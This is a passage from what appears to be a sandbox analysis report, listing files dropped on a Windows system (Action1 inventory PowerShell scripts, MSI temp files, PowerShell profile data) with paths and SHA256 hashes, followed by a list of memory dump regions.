                              • Size 1KB
                              • SHA256 45ade09388f37d03ef4079304d1b0c84a1817a24c282d4dc33c01ba2a810002c
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              Connections to Internet Domains_2040-1784023871.ps1
                              • Path C:\Windows\Action1\scripts\Connections to Internet Domains_2040-1784023871.ps1
                              • Size 4KB
                              • SHA256 97c0f612ab9b3b4cfcbb707c082c6bd57e54b0919675ec8f708f65f2870b7eef
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              DataSource_1004.ps1
                              • Path C:\Windows\Action1\scripts\DataSource_1004.ps1
                              • Size 55KB
                              • SHA256 3c0ea3f83d6ebfdbd36de8df82fca5524f1954bba51485f0590857b62ef6eb2f
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              DataSource_1008.ps1
                              • Path C:\Windows\Action1\scripts\DataSource_1008.ps1
                              • Size 20KB
                              • SHA256 6ca8873bf46ea4888dce7ab5ccdaba1e34577ce8cc1064817d66a3cd901351ea
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              Disks Summary_2042-1784023871.ps1
                              • Path C:\Windows\Action1\scripts\Disks Summary_2042-1784023871.ps1
                              • Size 3KB
                              • SHA256 e7fc15231ac26135318cef39f5375d0b52e6fba1b3594029ac09f9fed801b190
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              Environment Variables_2020-1784023871.ps1
                              • Path C:\Windows\Action1\scripts\Environment Variables_2020-1784023871.ps1
                              • Size 1KB
                              • SHA256 22d78e7377167bbc972cbe8c2d0a7dfeb305b10c42ed9c65c7f47b1c5e0e4185
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              Hardware Summary_2037-1784023871.ps1
                              • Path C:\Windows\Action1\scripts\Hardware Summary_2037-1784023871.ps1
                              • Size 12KB
                              • SHA256 77cae1db83993c02ff5f254ae161521a782c22e618bbcf6b1101428db674d2b7
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              Installed Printers_2025-1784023871.ps1
                              • Path C:\Windows\Action1\scripts\Installed Printers_2025-1784023871.ps1
                              • Size 1KB
                              • SHA256 b558869c41920db3bd3af0e204149ff735402e376c5e5127a676f2453620e608
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              MS Outlook Versions_2043-1784023871.ps1
                              • Path C:\Windows\Action1\scripts\MS Outlook Versions_2043-1784023871.ps1
                              • Size 2KB
                              • SHA256 6973bcb55ddcb2ac7e0569adc9e4007f315ba77dc8dbc0836a8b5637bb86889a
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              Monitors_2026-1784023871.ps1
                              • Path C:\Windows\Action1\scripts\Monitors_2026-1784023871.ps1
                              • Size 1KB
                              • SHA256 ec02022539fc99fa918ab77b05941d73f0675476d60a7737c46c05471e95e5ae
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              Open Shared Resources_2018-1784023871.ps1
                              • Path C:\Windows\Action1\scripts\Open Shared Resources_2018-1784023871.ps1
                              • Size 1KB
                              • SHA256 e47bfc38cb4ad8dd21b9e7868e7ef5b24d3e838d28713327f0bd5d6ce1fc6267
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              Processx002FMemory Stats_2031-1784023871.ps1
                              • Path C:\Windows\Action1\scripts\Processx002FMemory Stats_2031-1784023871.ps1
                              • Size 1KB
                              • SHA256 d7bcbd52fa0990e77273c8e4bf38ab09e556933b928ce9bee86540afca9c5a93
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              Running Processes_2030-1784023871.ps1
                              • Path C:\Windows\Action1\scripts\Running Processes_2030-1784023871.ps1
                              • Size 1KB
                              • SHA256 eb02a87fc7c844d7ee84d4b0f9b0a1e3bf338a73c0696576f5fd82aa39563d14
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              SCSI Controllers_2027-1784023871.ps1
                              • Path C:\Windows\Action1\scripts\SCSI Controllers_2027-1784023871.ps1
                              • Size 2KB
                              • SHA256 68aa3c420590f77d4265af278972898aa76f76e6be1fa6123c003936fd568b9b
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              Windows Drivers_2024-1784023871.ps1
                              • Path C:\Windows\Action1\scripts\Windows Drivers_2024-1784023871.ps1
                              • Size 1KB
                              • SHA256 710969abbeed769a28ce51e3b9b6be76c9df62ea066e0c6a108947c5855b5bc7
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              Windows Services_2033-1784023871.ps1
                              • Path C:\Windows\Action1\scripts\Windows Services_2033-1784023871.ps1
                              • Size 1KB
                              • SHA256 2ade9c76c032a8ef639e2a1109428ca6c2719c1ebe05f657f9cb260035e32459
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              Windows Update History_2044-1784023871.ps1
                              • Path C:\Windows\Action1\scripts\Windows Update History_2044-1784023871.ps1
                              • Size 6KB
                              • SHA256 20cb9a46d7a8ab6496604ba0916c2d14576a4d41475f507a6696813ef248d95a
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              Windows Update Statistics_2039-1784023871.ps1
                              • Path C:\Windows\Action1\scripts\Windows Update Statistics_2039-1784023871.ps1
                              • Size 1KB
                              • SHA256 94ddb597b28d3defd1aba399e92ac208d89ff76d71fb1b9f73bd28eaeb0fabbc
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              Windows Update Status_2064-1784023871.ps1
                              • Path C:\Windows\Action1\scripts\Windows Update Status_2064-1784023871.ps1
                              • Size 16KB
                              • SHA256 c1b88d7b4467574d377f7f9712d2edc6cca4bb8706964b13f451aef77509a30c
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              Windows Updates_2010-1784023871.ps1
                              • Path C:\Windows\Action1\scripts\Windows Updates_2010-1784023871.ps1
                              • Size 37KB
                              • SHA256 7ee1367921d50ed979703088b20cbf6d4a27a8fbf6598fcd6cdd3043db75c589
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              MSIE49A.tmp
                              • Path C:\Windows\Installer\MSIE49A.tmp
                              • Size 387KB
                              • SHA256 ca5f0275e70ec5ba65b74c3da74f489018bc143c4c405fd8bbc6519eadac2a22
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              MSIE69F.tmp
                              • Path C:\Windows\Installer\MSIE69F.tmp
                              • Size 234KB
                              • SHA256 78860e15e474cc2af7ad6e499a8971b6b8197afb8e49a1b9eaaa392e4378f3a5
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              TmpAE04.tmp
                              • Path C:\Windows\SystemTemp\TmpAE04.tmp
                              • Size 1KB
                              • SHA256 19effb08a7874a64729e56862d667124d518db5250a5abe1724bd2fff56c9abe
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              ModuleAnalysisCache
                              • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                              • Size 8KB
                              • SHA256 e9ff1810de6f48f2b309b4ab8ce6f1ad1fa752829a4a61c5e6a63e57a596e9be
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              StartupProfileData-NonInteractive
                              • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                              • Size 1KB
                              • SHA256 134a0b49437178e09a8a43a1a071de16b10289a6b19fc996a15d5cc2f87b9d37
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              StartupProfileData-NonInteractive
                              • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                              • Size 1KB
                              • SHA256 c4f1ef248c581f50d30e805eb25f2a5333b620bd7d112080c871d9d0876756d6
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              StartupProfileData-NonInteractive
                              • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                              • Size 1KB
                              • SHA256 e032beb296a289a46c64b55ebfde663ad107696d16d2fd5c993340a08a426e4e
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              StartupProfileData-NonInteractive
                              • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                              • Size 1KB
                              • SHA256 57a8bad2a06bcb5a31c97cc26a11a2e7e4f8ccea575bbcbc7214bcf8b0aef0b0
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              StartupProfileData-NonInteractive
                              • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                              • Size 1KB
                              • SHA256 667dcde18b832963a8d60d49de8ad9de1df3dbb39f10a9cf3e49040a7104cca1
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              StartupProfileData-NonInteractive
                              • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                              • Size 1KB
                              • SHA256 1c870d89880f73f4606fe275e9c10f7ef0e27d221158de76c674e365fe7d6f18
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              StartupProfileData-NonInteractive
                              • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                              • Size 1KB
                              • SHA256 d4fbfabbcaaa94ab434fdaade5d7a9f3604bb6552e8917fb6e3dccb34c893345
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              StartupProfileData-NonInteractive
                              • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                              • Size 1KB
                              • SHA256 fa606866043197f75de4426de51670f2291a94433384efe403e0026db4429a69
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              StartupProfileData-NonInteractive
                              • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                              • Size 1KB
                              • SHA256 caff0da7de4647e9767be967162922445b58630d9b73cb2508617a12d7d88db6
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              StartupProfileData-NonInteractive
                              • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                              • Size 1KB
                              • SHA256 2427746ed03fd79b6c07767b7f5a0d1c04cbfb2c3d3103f7faa7fda4ac3ed6e1
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              StartupProfileData-NonInteractive
                              • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                              • Size 1KB
                              • SHA256 120c6abb36026dc3f61f075430a1fd8c7068f9b74542306794e7b6d5d46d18c1
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              StartupProfileData-NonInteractive
                              • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                              • Size 1KB
                              • SHA256 fb86debef9b11a8378fce9c3d17b26bf7609753b3a16c62624a0c44713e1e83c
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              StartupProfileData-NonInteractive
                              • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                              • Size 1KB
                              • SHA256 a7ba3c4d50921cc3765c219b55303bac7621e32d49f8e115f95fdfdd75b6c427
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              StartupProfileData-NonInteractive
                              • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                              • Size 1KB
                              • SHA256 3a0e3959d6ca3c6f572b0a8ee1f8f163f60bdbd3d4eb595f69bcea4abf0c31e7
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              StartupProfileData-NonInteractive
                              • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                              • Size 1KB
                              • SHA256 5b4d6dc1692c988416525241a9b847719b2f7117c4b082b0e1c8fa05f7dd20c4
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              StartupProfileData-NonInteractive
                              • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                              • Size 2KB
                              • SHA256 3693d1efa3f69493201bedec1716384e7b0996249a6a8b32a48589bb25415af4
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              StartupProfileData-NonInteractive
                              • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                              • Size 1KB
                              • SHA256 bcf54d52db2d33788d4b721f7a63232326ed29915f4d9240c55a6733007876ba
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              StartupProfileData-NonInteractive
                              • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                              • Size 1KB
                              • SHA256 134ca70e9597fdad440f1a5989e71ca435a5f3ad54912b0dfba7a438525c3905
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              StartupProfileData-NonInteractive
                              • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                              • Size 1KB
                              • SHA256 44c3e8f21fc0ed16fb39e619c58b206fcbaf97a4f5d2a9e06bb9cd5608a346ef
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              StartupProfileData-NonInteractive
                              • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                              • Size 1KB
                              • SHA256 03ec6fd4bbd800225cee6449fa5773abfa157b22f3e393ea43692417dfe43d46
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              StartupProfileData-NonInteractive
                              • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                              • Size 64B
                              • SHA256 92671c154d4e886f999580604f675416003965914ab8435babc0b11290f6a6a4
                              • MD5 SHA1 SHA512
                              Submit Download

                              memory/1008-380-0x0000027AF0B70000-0x0000027AF0B7A000-memory.dmp
                              Download

                              memory/1008-379-0x0000027AF0B60000-0x0000027AF0B6A000-memory.dmp
                              Download

                              memory/1008-378-0x0000027AF0940000-0x0000027AF09F2000-memory.dmp
                              Download

                              memory/1168-437-0x00000286299B0000-0x0000028629A62000-memory.dmp
                              Download

                              memory/2704-98-0x0000019A00A20000-0x0000019A013C4000-memory.dmp
                              Download

                              memory/2872-125-0x000001B21D8E0000-0x000001B21D90A000-memory.dmp
                              Download

                              memory/2872-126-0x000001B21D8E0000-0x000001B21D904000-memory.dmp
                              Download

                              memory/2872-123-0x000001B21DB60000-0x000001B21DC12000-memory.dmp
                              Download

                              memory/2872-122-0x000001B21D880000-0x000001B21D89E000-memory.dmp
                              Download

                              memory/2872-124-0x000001B21D8A0000-0x000001B21D8AA000-memory.dmp
                              Download

                              memory/3336-416-0x0000013DA9720000-0x0000013DA9728000-memory.dmp
                              Download

                              memory/3400-415-0x00000273B7810000-0x00000273B81B4000-memory.dmp
                              Download

                              memory/3876-230-0x000001F7C8920000-0x000001F7C89D2000-memory.dmp
                              Download

                              memory/3876-231-0x000001F7C8B10000-0x000001F7C8B26000-memory.dmp
                              Download

                              memory/4788-263-0x0000020D36DC0000-0x0000020D36DDE000-memory.dmp
                              Download

                              memory/4788-267-0x0000020D371D0000-0x0000020D371EE000-memory.dmp
                              Download

                              memory/4788-262-0x0000020D36E20000-0x0000020D36E96000-memory.dmp
                              Download

                              memory/4788-266-0x0000020D370F0000-0x0000020D371A2000-memory.dmp
                              Download

                              memory/5004-243-0x000001BAF7960000-0x000001BAF7A12000-memory.dmp
                              Download

                              memory/6064-14-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp
                              Download

                              memory/6064-6-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp
                              Download

                              memory/6064-10-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp
                              Download

                              memory/6064-12-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp
                              Download

                              memory/6064-9-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp
                              Download

                              memory/6064-13-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp
                              Download

                              memory/6064-8-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp
                              Download

                              memory/6064-7-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp
                              Download

                              memory/6064-11-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp
                              Download

                              memory/6064-19-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp
                              Download

                              memory/6064-5-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp
                              Download

                              memory/6064-4-0x0000022AD0310000-0x0000022AD0332000-memory.dmp
                              Download

                              memory/6064-24-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp
                              Download

                              memory/6064-3-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp
                              Download

                              memory/6064-15-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp
                              Download

                              memory/6064-0-0x00007FFBA6A5F000-0x00007FFBA6A60000-memory.dmp
                              Download

                              memory/6064-16-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp
                              Download

                              memory/6064-21-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp
                              Download

                              memory/6064-18-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp
                              Download

                              memory/6064-20-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp
                              Download